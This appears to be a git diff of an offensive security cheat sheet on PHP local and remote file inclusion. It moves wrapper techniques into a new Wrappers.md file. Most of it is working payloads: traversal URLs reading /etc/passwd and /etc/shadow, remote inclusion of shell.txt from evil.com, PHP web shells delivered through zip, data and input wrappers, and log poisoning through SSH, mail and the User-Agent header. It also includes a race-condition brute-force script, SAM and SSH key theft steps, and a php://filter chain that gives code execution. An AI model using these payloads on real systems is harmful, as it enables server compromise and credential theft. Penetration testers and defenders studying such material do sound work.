http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
||||||
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
|
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
|
||||||
```
|
```
|
||||||
|
|
||||||
### Path and dot truncation
|
### Path Truncation
|
||||||
|
|
||||||
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
|
On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
|
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
|
||||||
@@ -79,7 +90,7 @@ http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
|
|||||||
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
|
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
|
||||||
```
|
```
|
||||||
|
|
||||||
### Filter bypass tricks
|
### Filter Bypass
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=....//....//etc/passwd
|
http://example.com/index.php?page=....//....//etc/passwd
|
||||||
@@ -87,7 +98,17 @@ http://example.com/index.php?page=..///////..////..//////etc/passwd
|
|||||||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||||||
```
|
```
|
||||||
|
|
||||||
## Basic RFI
|
|
||||||
|
## Remote File Inclusion
|
||||||
|
|
||||||
|
> Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
|
||||||
|
|
||||||
|
Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP 5.
|
||||||
|
|
||||||
|
```ini
|
||||||
|
allow_url_include = On
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
Most of the filter bypasses from LFI section can be reused for RFI.
|
Most of the filter bypasses from LFI section can be reused for RFI.
|
||||||
|
|
||||||
@@ -95,18 +116,20 @@ Most of the filter bypasses from LFI section can be reused for RFI.
|
|||||||
http://example.com/index.php?page=http://evil.com/shell.txt
|
http://example.com/index.php?page=http://evil.com/shell.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Null byte
|
### Null Byte
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=http://evil.com/shell.txt%00
|
http://example.com/index.php?page=http://evil.com/shell.txt%00
|
||||||
```
|
```
|
||||||
|
|
||||||
### Double encoding
|
|
||||||
|
### Double Encoding
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
|
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Bypass allow_url_include
|
### Bypass allow_url_include
|
||||||
|
|
||||||
When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
|
When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
|
||||||
@@ -116,332 +139,19 @@ When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still pos
|
|||||||
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
|
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
|
||||||
|
|
||||||
|
|
||||||
## LFI / RFI using wrappers
|
## Labs
|
||||||
|
|
||||||
### Wrapper php://filter
|
* [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion)
|
||||||
|
* [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding)
|
||||||
|
* [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion)
|
||||||
|
* [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters)
|
||||||
|
|
||||||
The part "php://filter" is case insensitive
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
|
||||||
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
|
|
||||||
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
|
||||||
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
|
||||||
```
|
|
||||||
|
|
||||||
can be chained with a compression wrapper for large files.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
NOTE: Wrappers can be chained multiple times using `|` or `/`:
|
|
||||||
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
|
|
||||||
- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
|
|
||||||
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
|
|
||||||
```
|
|
||||||
|
|
||||||
### Wrapper zip://
|
|
||||||
|
|
||||||
```python
|
|
||||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
|
||||||
zip payload.zip payload.php;
|
|
||||||
mv payload.zip shell.jpg;
|
|
||||||
rm payload.php
|
|
||||||
|
|
||||||
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
|
||||||
```
|
|
||||||
|
|
||||||
### Wrapper data://
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
||||||
```
|
|
||||||
|
|
||||||
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
|
||||||
|
|
||||||
### Wrapper expect://
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=expect://id
|
|
||||||
http://example.com/index.php?page=expect://ls
|
|
||||||
```
|
|
||||||
|
|
||||||
### Wrapper input://
|
|
||||||
|
|
||||||
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively, Kadimus has a module to automate this attack.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
|
|
||||||
```
|
|
||||||
|
|
||||||
### Wrapper phar://
|
|
||||||
|
|
||||||
Create a phar file with a serialized object in its meta-data.
|
|
||||||
|
|
||||||
```php
|
|
||||||
// create new Phar
|
|
||||||
$phar = new Phar('test.phar');
|
|
||||||
$phar->startBuffering();
|
|
||||||
$phar->addFromString('test.txt', 'text');
|
|
||||||
$phar->setStub('<?php __HALT_COMPILER(); ? >');
|
|
||||||
|
|
||||||
// add object of any class as meta data
|
|
||||||
class AnyClass {}
|
|
||||||
$object = new AnyClass;
|
|
||||||
$object->data = 'rips';
|
|
||||||
$phar->setMetadata($object);
|
|
||||||
$phar->stopBuffering();
|
|
||||||
```
|
|
||||||
|
|
||||||
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
|
|
||||||
|
|
||||||
```php
|
|
||||||
class AnyClass {
|
|
||||||
function __destruct() {
|
|
||||||
echo $this->data;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// output: rips
|
|
||||||
include('phar://test.phar');
|
|
||||||
```
|
|
||||||
|
|
||||||
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
|
|
||||||
|
|
||||||
## LFI to RCE via /proc/*/fd
|
|
||||||
|
|
||||||
1. Upload a lot of shells (for example : 100)
|
|
||||||
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
|
|
||||||
|
|
||||||
## LFI to RCE via /proc/self/environ
|
|
||||||
|
|
||||||
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
|
||||||
User-Agent: <?=phpinfo(); ?>
|
|
||||||
```
|
|
||||||
|
|
||||||
## LFI to RCE via upload
|
|
||||||
|
|
||||||
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
|
||||||
```
|
|
||||||
|
|
||||||
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
|
|
||||||
|
|
||||||
## LFI to RCE via upload (race)
|
|
||||||
Worlds Quitest Let's Play"
|
|
||||||
* Upload a file and trigger a self-inclusion.
|
|
||||||
* Repeat 1 a shitload of time to:
|
|
||||||
* increase our odds of winning the race
|
|
||||||
* increase our guessing odds
|
|
||||||
* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
|
|
||||||
* Enjoy our shell.
|
|
||||||
|
|
||||||
```python
|
|
||||||
import itertools
|
|
||||||
import requests
|
|
||||||
import sys
|
|
||||||
|
|
||||||
print('[+] Trying to win the race')
|
|
||||||
f = {'file': open('shell.php', 'rb')}
|
|
||||||
for _ in range(4096 * 4096):
|
|
||||||
requests.post('http://target.com/index.php?c=index.php', f)
|
|
||||||
|
|
||||||
|
|
||||||
print('[+] Bruteforcing the inclusion')
|
|
||||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|
||||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
|
||||||
r = requests.get(url)
|
|
||||||
if 'load average' in r.text: # <?php echo system('uptime');
|
|
||||||
print('[+] We have got a shell: ' + url)
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
print('[x] Something went wrong, please try again')
|
|
||||||
```
|
|
||||||
|
|
||||||
## LFI to RCE via upload (FindFirstFile)
|
|
||||||
|
|
||||||
:warning: Only works on Windows
|
|
||||||
|
|
||||||
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows.
|
|
||||||
|
|
||||||
* Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`.
|
|
||||||
* Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<`
|
|
||||||
|
|
||||||
|
|
||||||
## LFI to RCE via phpinfo()
|
|
||||||
|
|
||||||
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
|
|
||||||
|
|
||||||
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
|
|
||||||
|
|
||||||
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
|
||||||
|
|
||||||
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
|
||||||
|
|
||||||
## LFI to RCE via controlled log file
|
|
||||||
|
|
||||||
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=/var/log/apache/access.log
|
|
||||||
http://example.com/index.php?page=/var/log/apache/error.log
|
|
||||||
http://example.com/index.php?page=/var/log/apache2/access.log
|
|
||||||
http://example.com/index.php?page=/var/log/apache2/error.log
|
|
||||||
http://example.com/index.php?page=/var/log/nginx/access.log
|
|
||||||
http://example.com/index.php?page=/var/log/nginx/error.log
|
|
||||||
http://example.com/index.php?page=/var/log/vsftpd.log
|
|
||||||
http://example.com/index.php?page=/var/log/sshd.log
|
|
||||||
http://example.com/index.php?page=/var/log/mail
|
|
||||||
http://example.com/index.php?page=/var/log/httpd/error_log
|
|
||||||
http://example.com/index.php?page=/usr/local/apache/log/error_log
|
|
||||||
http://example.com/index.php?page=/usr/local/apache2/log/error_log
|
|
||||||
```
|
|
||||||
|
|
||||||
### RCE via SSH
|
|
||||||
|
|
||||||
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
|
|
||||||
```
|
|
||||||
|
|
||||||
Then include the SSH log files inside the Web Application.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=/var/log/auth.log&cmd=id
|
|
||||||
```
|
|
||||||
|
|
||||||
### RCE via Mail
|
|
||||||
|
|
||||||
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
root@kali:~# telnet 10.10.10.10. 25
|
|
||||||
Trying 10.10.10.10....
|
|
||||||
Connected to 10.10.10.10..
|
|
||||||
Escape character is '^]'.
|
|
||||||
220 straylight ESMTP Postfix (Debian/GNU)
|
|
||||||
helo ok
|
|
||||||
250 straylight
|
|
||||||
mail from: mail@example.com
|
|
||||||
250 2.1.0 Ok
|
|
||||||
rcpt to: root
|
|
||||||
250 2.1.5 Ok
|
|
||||||
data
|
|
||||||
354 End data with <CR><LF>.<CR><LF>
|
|
||||||
subject: <?php echo system($_GET["cmd"]); ?>
|
|
||||||
data2
|
|
||||||
.
|
|
||||||
```
|
|
||||||
|
|
||||||
In some cases you can also send the email with the `mail` command line.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
|
||||||
```
|
|
||||||
|
|
||||||
### RCE via Apache logs
|
|
||||||
|
|
||||||
Poison the User-Agent in access logs:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
|
||||||
```
|
|
||||||
|
|
||||||
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
|
||||||
|
|
||||||
Then request the logs via the LFI and execute your command.
|
|
||||||
|
|
||||||
```
|
|
||||||
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
|
||||||
```
|
|
||||||
|
|
||||||
## LFI to RCE via PHP sessions
|
|
||||||
|
|
||||||
Check if the website use PHP Session (PHPSESSID)
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
|
||||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
|
||||||
```
|
|
||||||
|
|
||||||
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
|
||||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
|
||||||
```
|
|
||||||
|
|
||||||
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|
||||||
```
|
|
||||||
|
|
||||||
Use the LFI to include the PHP session file
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
|
||||||
```
|
|
||||||
|
|
||||||
## LFI to RCE via credentials files
|
|
||||||
|
|
||||||
This method require high privileges inside the application in order to read the sensitive files.
|
|
||||||
|
|
||||||
### Windows version
|
|
||||||
|
|
||||||
First extract `sam` and `system` files.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
|
|
||||||
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
|
|
||||||
```
|
|
||||||
|
|
||||||
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
|
|
||||||
|
|
||||||
### Linux version
|
|
||||||
|
|
||||||
First extract `/etc/shadow` files.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://example.com/index.php?page=../../../../../../etc/shadow
|
|
||||||
```
|
|
||||||
|
|
||||||
Then crack the hashes inside in order to login via SSH on the machine.
|
|
||||||
|
|
||||||
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
|
|
||||||
If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
* [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
||||||
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
|
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)
|
||||||
* [Turning LFI to RFI](https://l.avala.mp/?p=241)
|
* [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
|
||||||
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
|
* [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://highon.coffee/blog/lfi-cheat-sheet/)
|
||||||
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
|
* [Testing for Local File Inclusion - OWASP - 25 June 2017](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
||||||
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
|
* [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241)
|
||||||
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
|
||||||
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
|
|
||||||
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
|
|
||||||
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
|
|
||||||
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
|
||||||
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
|
||||||
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
|
||||||
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
|
|
||||||
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
|
||||||
* [PHP LFI to arbitratry code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)
|
|
||||||
264
File Inclusion/Wrappers.md
Normal file
264
File Inclusion/Wrappers.md
Normal file
@@ -0,0 +1,264 @@
|
|||||||
|
# Inclusion Using Wrappers
|
||||||
|
|
||||||
|
A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [Wrapper php://filter](#wrapper-phpfilter)
|
||||||
|
- [Wrapper data://](#wrapper-data)
|
||||||
|
- [Wrapper expect://](#wrapper-expect)
|
||||||
|
- [Wrapper input://](#wrapper-input)
|
||||||
|
- [Wrapper zip://](#wrapper-zip)
|
||||||
|
- [Wrapper phar://](#wrapper-phar)
|
||||||
|
- [PHAR Archive Structure](#phar-archive-structure)
|
||||||
|
- [PHAR Deserialization](#phar-deserialization)
|
||||||
|
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Wrapper php://filter
|
||||||
|
|
||||||
|
The part "`php://filter`" is case insensitive
|
||||||
|
|
||||||
|
| Filter | Description |
|
||||||
|
| ------ | ----------- |
|
||||||
|
| `php://filter/read=string.rot13/resource=index.php` | Display index.php as rot13 |
|
||||||
|
| `php://filter/convert.iconv.utf-8.utf-16/resource=index.php` | Encode index.php from utf8 to utf16 |
|
||||||
|
| `php://filter/convert.base64-encode/resource=index.php` | Display index.php as a base64 encoded string |
|
||||||
|
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
||||||
|
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
|
||||||
|
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
||||||
|
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
||||||
|
```
|
||||||
|
|
||||||
|
Wrappers can be chained with a compression wrapper for large files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
||||||
|
```
|
||||||
|
|
||||||
|
NOTE: Wrappers can be chained multiple times using `|` or `/`:
|
||||||
|
|
||||||
|
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
|
||||||
|
- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
|
||||||
|
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
|
||||||
|
```
|
||||||
|
|
||||||
|
Also there is a way to turn the `php://filter` into a full RCE.
|
||||||
|
|
||||||
|
* [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
|
||||||
|
```powershell
|
||||||
|
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
|
||||||
|
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
|
||||||
|
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
|
||||||
|
```
|
||||||
|
|
||||||
|
* [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload.
|
||||||
|
```powershell
|
||||||
|
# vulnerable file: index.php
|
||||||
|
# vulnerable parameter: file
|
||||||
|
# executed command: id
|
||||||
|
# executed PHP code: <?=`$_GET[0]`;;?>
|
||||||
|
